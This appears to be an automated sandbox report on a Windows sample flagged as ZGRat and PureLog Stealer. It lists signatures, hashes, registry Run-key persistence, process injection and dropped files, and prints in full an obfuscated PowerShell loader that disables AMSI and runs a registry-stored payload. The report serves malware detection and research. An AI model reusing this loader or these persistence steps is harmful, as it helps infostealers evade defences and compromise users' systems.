Analysis
- max time kernel
164s - max time network
172s - platform
windows11-21h2_x64 - resource
win11-20240221-en - resource tags
arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system - submitted
04/04/2024, 21:09
Behavioral task
behavioral1
Sample
5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe
Resource
win10v2004-20240226-en
13 signatures
150 seconds
Behavioral task
behavioral2
Sample
5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe
Resource
win11-20240221-en
13 signatures
150 seconds
General
- Target 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe
- Size 2.4MB
- Sample240404-zzf7kabb67
- SHA256 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665
- MD5 457c53a8c4076f6ad84b3df50eeaed40
- SHA1 04c1b0f70c1a4574474df56d5b2ef233ddcbe9eb
- SHA512 5bd2edb9faf83eed8456da6e3d2d948fe7dbbda821309a6465d330345fc3fd2c84e158fdff10f143a43e86b1d88a60ccc3ed70185652a14140e8498754b42253
- SSDEEP 49152:qLVfUh2tObNV72FN/J0PX6slSlrt1Vi4Nt1P9BCwB+RsEHU/nqBC:WVw2sbNVO/2PK7/1YYt1zGqEHU/oC
- MD5 SHA1 SHA512 SSDEEP
Score
10/10
Malware Config
Signatures
- Detect ZGRat V1 34 IoCs
resource yara_rule behavioral2/memory/560-4-0x0000000006EA0000-0x00000000070E0000-memory.dmp family_zgrat_v1 behavioral2/memory/560-7-0x0000000006EA0000-0x00000000070DB000-memory.dmp family_zgrat_v1 behavioral2/memory/560-8-0x0000000006EA0000-0x00000000070DB000-memory.dmp family_zgrat_v1 behavioral2/memory/560-10-0x0000000006EA0000-0x00000000070DB000-memory.dmp family_zgrat_v1 behavioral2/memory/560-12-0x0000000006EA0000-0x00000000070DB000-memory.dmp family_zgrat_v1 behavioral2/memory/560-14-0x0000000006EA0000-0x00000000070DB000-memory.dmp family_zgrat_v1 behavioral2/memory/560-16-0x0000000006EA0000-0x00000000070DB000-memory.dmp family_zgrat_v1 behavioral2/memory/560-18-0x0000000006EA0000-0x00000000070DB000-memory.dmp family_zgrat_v1 behavioral2/memory/560-20-0x0000000006EA0000-0x00000000070DB000-memory.dmp family_zgrat_v1 behavioral2/memory/560-22-0x0000000006EA0000-0x00000000070DB000-memory.dmp family_zgrat_v1 behavioral2/memory/560-24-0x0000000006EA0000-0x00000000070DB000-memory.dmp family_zgrat_v1 behavioral2/memory/560-26-0x0000000006EA0000-0x00000000070DB000-memory.dmp family_zgrat_v1 behavioral2/memory/560-28-0x0000000006EA0000-0x00000000070DB000-memory.dmp family_zgrat_v1 behavioral2/memory/560-30-0x0000000006EA0000-0x00000000070DB000-memory.dmp family_zgrat_v1 behavioral2/memory/560-32-0x0000000006EA0000-0x00000000070DB000-memory.dmp family_zgrat_v1 behavioral2/memory/560-34-0x0000000006EA0000-0x00000000070DB000-memory.dmp family_zgrat_v1 behavioral2/memory/560-36-0x0000000006EA0000-0x00000000070DB000-memory.dmp family_zgrat_v1 behavioral2/memory/560-38-0x0000000006EA0000-0x00000000070DB000-memory.dmp family_zgrat_v1 behavioral2/memory/560-40-0x0000000006EA0000-0x00000000070DB000-memory.dmp family_zgrat_v1 behavioral2/memory/560-42-0x0000000006EA0000-0x00000000070DB000-memory.dmp family_zgrat_v1 behavioral2/memory/560-44-0x0000000006EA0000-0x00000000070DB000-memory.dmp family_zgrat_v1 behavioral2/memory/560-46-0x0000000006EA0000-0x00000000070DB000-memory.dmp family_zgrat_v1 behavioral2/memory/560-48-0x0000000006EA0000-0x00000000070DB000-memory.dmp family_zgrat_v1 behavioral2/memory/560-50-0x0000000006EA0000-0x00000000070DB000-memory.dmp family_zgrat_v1 behavioral2/memory/560-52-0x0000000006EA0000-0x00000000070DB000-memory.dmp family_zgrat_v1 behavioral2/memory/560-54-0x0000000006EA0000-0x00000000070DB000-memory.dmp family_zgrat_v1 behavioral2/memory/560-58-0x0000000006EA0000-0x00000000070DB000-memory.dmp family_zgrat_v1 behavioral2/memory/560-56-0x0000000006EA0000-0x00000000070DB000-memory.dmp family_zgrat_v1 behavioral2/memory/560-60-0x0000000006EA0000-0x00000000070DB000-memory.dmp family_zgrat_v1 behavioral2/memory/560-62-0x0000000006EA0000-0x00000000070DB000-memory.dmp family_zgrat_v1 behavioral2/memory/560-64-0x0000000006EA0000-0x00000000070DB000-memory.dmp family_zgrat_v1 behavioral2/memory/560-66-0x0000000006EA0000-0x00000000070DB000-memory.dmp family_zgrat_v1 behavioral2/memory/560-68-0x0000000006EA0000-0x00000000070DB000-memory.dmp family_zgrat_v1 behavioral2/memory/560-70-0x0000000006EA0000-0x00000000070DB000-memory.dmp family_zgrat_v1 - PureLog Stealer
PureLog Stealer is an infostealer written in C#.
- PureLog Stealer payload 2 IoCs
resource yara_rule behavioral2/memory/560-1-0x0000000000E50000-0x00000000010B2000-memory.dmp family_purelog_stealer behavioral2/files/0x0002000000029b48-4895.dat family_purelog_stealer - Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 4072 created 632 4072 powershell.EXE 5 - Executes dropped EXE 2 IoCs
pid Process 2100 $77e5fb3b 3204 $770ee359 - Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3852399462-405385529-394778097-1000\Software\Microsoft\Windows\CurrentVersion\Run\$77Pxxiy = "C:\\Users\\Admin\\AppData\\Roaming\\$77Pxxiy.exe" 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe Set value (str) \REGISTRY\USER\S-1-5-21-3852399462-405385529-394778097-1000\Software\Microsoft\Windows\CurrentVersion\Run\socks5 = "powershell.exe -windowstyle hidden -Command \"& 'C:\\Users\\Admin\\AppData\\Local\\Temp\\$770ee359'\"" $770ee359 - Drops file in System32 directory 2 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE - Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 560 set thread context of 2100 560 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe 80 PID 4072 set thread context of 3092 4072 powershell.EXE 83 PID 560 set thread context of 3204 560 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe 84 - Modifies data under HKEY_USERS 41 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 4072 powershell.EXE 4072 powershell.EXE 4072 powershell.EXE 3092 dllhost.exe 3092 dllhost.exe 3092 dllhost.exe 3092 dllhost.exe - Suspicious use of AdjustPrivilegeToken 7 IoCs
description pid Process Token: SeDebugPrivilege 560 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe Token: SeDebugPrivilege 4072 powershell.EXE Token: SeDebugPrivilege 4072 powershell.EXE Token: SeDebugPrivilege 3092 dllhost.exe Token: SeDebugPrivilege 560 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe Token: SeShutdownPrivilege 428 dwm.exe Token: SeCreatePagefilePrivilege 428 dwm.exe - Suspicious use of WriteProcessMemory 35 IoCs
description pid Process procid_target PID 560 wrote to memory of 2100 560 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe 80 PID 560 wrote to memory of 2100 560 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe 80 PID 560 wrote to memory of 2100 560 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe 80 PID 560 wrote to memory of 2100 560 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe 80 PID 560 wrote to memory of 2100 560 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe 80 PID 560 wrote to memory of 2100 560 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe 80 PID 560 wrote to memory of 2100 560 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe 80 PID 560 wrote to memory of 2100 560 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe 80 PID 560 wrote to memory of 2100 560 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe 80 PID 4072 wrote to memory of 3092 4072 powershell.EXE 83 PID 4072 wrote to memory of 3092 4072 powershell.EXE 83 PID 4072 wrote to memory of 3092 4072 powershell.EXE 83 PID 4072 wrote to memory of 3092 4072 powershell.EXE 83 PID 4072 wrote to memory of 3092 4072 powershell.EXE 83 PID 4072 wrote to memory of 3092 4072 powershell.EXE 83 PID 4072 wrote to memory of 3092 4072 powershell.EXE 83 PID 4072 wrote to memory of 3092 4072 powershell.EXE 83 PID 3092 wrote to memory of 632 3092 dllhost.exe 5 PID 3092 wrote to memory of 688 3092 dllhost.exe 7 PID 560 wrote to memory of 3204 560 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe 84 PID 560 wrote to memory of 3204 560 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe 84 PID 560 wrote to memory of 3204 560 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe 84 PID 688 wrote to memory of 2604 688 lsass.exe 44 PID 560 wrote to memory of 3204 560 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe 84 PID 560 wrote to memory of 3204 560 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe 84 PID 560 wrote to memory of 3204 560 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe 84 PID 560 wrote to memory of 3204 560 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe 84 PID 560 wrote to memory of 3204 560 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe 84 PID 560 wrote to memory of 3204 560 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe 84 PID 3092 wrote to memory of 988 3092 dllhost.exe 12 PID 3092 wrote to memory of 428 3092 dllhost.exe 13 PID 3092 wrote to memory of 460 3092 dllhost.exe 14 PID 3092 wrote to memory of 724 3092 dllhost.exe 15 PID 3092 wrote to memory of 680 3092 dllhost.exe 16 PID 3092 wrote to memory of 1060 3092 dllhost.exe 17
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:632
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:428
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{2c6cb2a0-6c79-41b3-904a-2429fea2d7fd}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3092
-
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
- Suspicious use of WriteProcessMemory
PID:688
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:988
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:460
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:724
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:680
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1060
-
C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2604
-
C:\Users\Admin\AppData\Local\Temp\5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe"C:\Users\Admin\AppData\Local\Temp\5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe"1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:560 -
C:\Users\Admin\AppData\Local\Temp\$77e5fb3b"C:\Users\Admin\AppData\Local\Temp\$77e5fb3b"2⤵
- Executes dropped EXE
PID:2100
-
-
C:\Users\Admin\AppData\Local\Temp\$770ee359"C:\Users\Admin\AppData\Local\Temp\$770ee359"2⤵
- Executes dropped EXE
- Adds Run key to start application
PID:3204
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:DpDShAEfDRqB{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$pfAzLXYTPjgpwC,[Parameter(Position=1)][Type]$ziomsaphfx)$wnMrhhpDNOm=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'e'+[Char](102)+'l'+[Char](101)+''+'c'+''+[Char](116)+''+[Char](101)+'d'+[Char](68)+'e'+'l'+''+[Char](101)+''+[Char](103)+'a'+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+''+[Char](77)+'em'+[Char](111)+'r'+'y'+''+[Char](77)+''+'o'+'d'+[Char](117)+''+'l'+''+'e'+'',$False).DefineType(''+[Char](77)+''+'y'+''+'D'+''+[Char](101)+''+'l'+'e'+'g'+'a'+[Char](116)+''+'e'+''+'T'+'y'+'p'+''+'e'+'','C'+[Char](108)+'a'+'s'+'s'+[Char](44)+'P'+[Char](117)+''+[Char](98)+'l'+[Char](105)+'c'+','+''+'S'+''+[Char](101)+''+[Char](97)+'le'+[Char](100)+','+[Char](65)+''+[Char](110)+''+[Char](115)+''+'i'+'C'+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+[Char](111)+''+[Char](67)+''+'l'+''+'a'+'s'+'s'+'',[MulticastDelegate]);$wnMrhhpDNOm.DefineConstructor(''+'R'+''+[Char](84)+'S'+[Char](112)+''+'e'+''+'c'+''+'i'+''+'a'+'l'+[Char](78)+''+[Char](97)+'m'+[Char](101)+''+','+''+[Char](72)+'i'+[Char](100)+''+'e'+''+'B'+'y'+[Char](83)+''+[Char](105)+'g'+[Char](44)+'P'+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+'c'+'',[Reflection.CallingConventions]::Standard,$pfAzLXYTPjgpwC).SetImplementationFlags('Runt'+[Char](105)+''+'m'+''+'e'+','+'M'+'an'+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$wnMrhhpDNOm.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+''+'o'+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+'u'+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+','+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+'y'+'S'+''+[Char](105)+'g'+[Char](44)+''+'N'+''+[Char](101)+''+[Char](119)+''+'S'+''+'l'+''+'o'+''+[Char](116)+''+[Char](44)+'V'+[Char](105)+''+'r'+''+[Char](116)+''+'u'+''+'a'+''+[Char](108)+'',$ziomsaphfx,$pfAzLXYTPjgpwC).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+''+'i'+'m'+[Char](101)+''+[Char](44)+'M'+'a'+'n'+[Char](97)+''+[Char](103)+''+'e'+''+'d'+'');Write-Output $wnMrhhpDNOm.CreateType();}$ImCPARhFidYux=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+'t'+'e'+'m'+[Char](46)+'dl'+[Char](108)+'')}).GetType(''+'M'+'icr'+[Char](111)+'s'+[Char](111)+'f'+[Char](116)+''+'.'+''+[Char](87)+'in'+'3'+'2'+'.'+'U'+'n'+''+'s'+'a'+[Char](102)+'e'+'N'+''+[Char](97)+''+[Char](116)+'iv'+[Char](101)+'Meth'+'o'+''+[Char](100)+''+[Char](115)+'');$iDDmeYGhWgivFx=$ImCPARhFidYux.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+[Char](80)+''+'r'+''+[Char](111)+''+[Char](99)+''+'A'+''+[Char](100)+''+'d'+''+[Char](114)+''+[Char](101)+''+[Char](115)+'s',[Reflection.BindingFlags](''+[Char](80)+'u'+[Char](98)+''+[Char](108)+'i'+'c'+''+','+''+'S'+'t'+'a'+'t'+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$cmHHPWLXKZGaxrELbRE=DpDShAEfDRqB @([String])([IntPtr]);$AENhEVWPeWONyNmxnEuXRz=DpDShAEfDRqB @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$LDRCApjdkLG=$ImCPARhFidYux.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+'u'+'le'+[Char](72)+''+[Char](97)+''+'n'+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object]('k'+[Char](101)+''+[Char](114)+'n'+'e'+''+[Char](108)+''+[Char](51)+''+'2'+'.d'+'l'+''+'l'+'')));$ejbsVuSSPjOsrL=$iDDmeYGhWgivFx.Invoke($Null,@([Object]$LDRCApjdkLG,[Object](''+'L'+''+[Char](111)+''+'a'+''+[Char](100)+''+'L'+''+[Char](105)+'b'+[Char](114)+'ary'+'A'+'')));$PTsXvFeVcxPHHOPiK=$iDDmeYGhWgivFx.Invoke($Null,@([Object]$LDRCApjdkLG,[Object](''+[Char](86)+'i'+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+[Char](108)+''+[Char](80)+'r'+[Char](111)+'tec'+[Char](116)+'')));$TDqyQJI=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ejbsVuSSPjOsrL,$cmHHPWLXKZGaxrELbRE).Invoke(''+[Char](97)+'m'+[Char](115)+''+[Char](105)+'.'+[Char](100)+''+[Char](108)+''+'l'+'');$pFKoATAqvinUjRUAJ=$iDDmeYGhWgivFx.Invoke($Null,@([Object]$TDqyQJI,[Object](''+[Char](65)+'m'+[Char](115)+''+[Char](105)+''+[Char](83)+''+'c'+''+[Char](97)+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+[Char](102)+''+'f'+''+[Char](101)+''+'r'+'')));$WUBxdFSGIc=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PTsXvFeVcxPHHOPiK,$AENhEVWPeWONyNmxnEuXRz).Invoke($pFKoATAqvinUjRUAJ,[uint32]8,4,[ref]$WUBxdFSGIc);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$pFKoATAqvinUjRUAJ,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PTsXvFeVcxPHHOPiK,$AENhEVWPeWONyNmxnEuXRz).Invoke($pFKoATAqvinUjRUAJ,[uint32]8,0x20,[ref]$WUBxdFSGIc);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+'W'+''+[Char](65)+'RE').GetValue(''+'$'+'77'+[Char](115)+''+'t'+''+[Char](97)+''+'g'+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4072
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\$77e5fb3b
- Size 2.4MB
- SHA256 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665
- MD5 457c53a8c4076f6ad84b3df50eeaed40
- SHA1 04c1b0f70c1a4574474df56d5b2ef233ddcbe9eb
- SHA512 5bd2edb9faf83eed8456da6e3d2d948fe7dbbda821309a6465d330345fc3fd2c84e158fdff10f143a43e86b1d88a60ccc3ed70185652a14140e8498754b42253
- SSDEEP 49152:qLVfUh2tObNV72FN/J0PX6slSlrt1Vi4Nt1P9BCwB+RsEHU/nqBC:WVw2sbNVO/2PK7/1YYt1zGqEHU/oC
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Temp\__PSScriptPolicyTest_c225th1x.o2j.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512